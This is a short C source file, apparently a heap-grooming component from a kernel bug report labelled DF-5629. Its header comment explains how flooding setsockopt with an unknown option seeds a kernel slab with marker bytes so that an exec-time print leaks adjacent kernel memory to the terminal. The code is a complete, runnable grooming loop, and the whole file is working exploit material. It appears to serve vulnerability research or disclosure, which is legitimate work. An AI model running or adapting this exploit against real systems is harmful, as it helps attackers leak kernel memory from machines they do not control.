DF-5629 / groom.c
/* * DF-5629 heap groomer — run as the unprivileged user. * * kern_setsockopt() (sys/kern/uipc_syscalls.c:1257) kmalloc()s a M_TEMP * buffer of optval size and copyin()s fully user-controlled bytes for ANY * option with valsize > SOMAXOPT_SIZE, then frees it at :1266 after the * (unknown) option is rejected. Flooding this seeds the kmalloc-1024 * slab neighborhood with non-NUL marker bytes, so the exec-time uprintf * %s walk past the interpreter chunk finds non-NUL neighbors and leaks * them to the tty. */ #include <sys/socket.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define SZ 1024 int main(int argc, char **argv) { char buf[SZ]; int i, iters = (argc > 1) ? atoi(argv[1]) : 400; const char *m = "GROOMMARKER!"; size_t ml = strlen(m); int s, one = 1; for (i = 0; i < SZ; i += ml) memcpy(buf + i, m, ml < (size_t)(SZ - i) ? ml : (SZ - i)); for (i = 0; i < iters; i++) { s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } /* unknown SOL_SOCKET option: copyin happens, then ENOPROTOOPT */ setsockopt(s, SOL_SOCKET, 0x7a7a, buf, SZ); close(s); } return 0; } |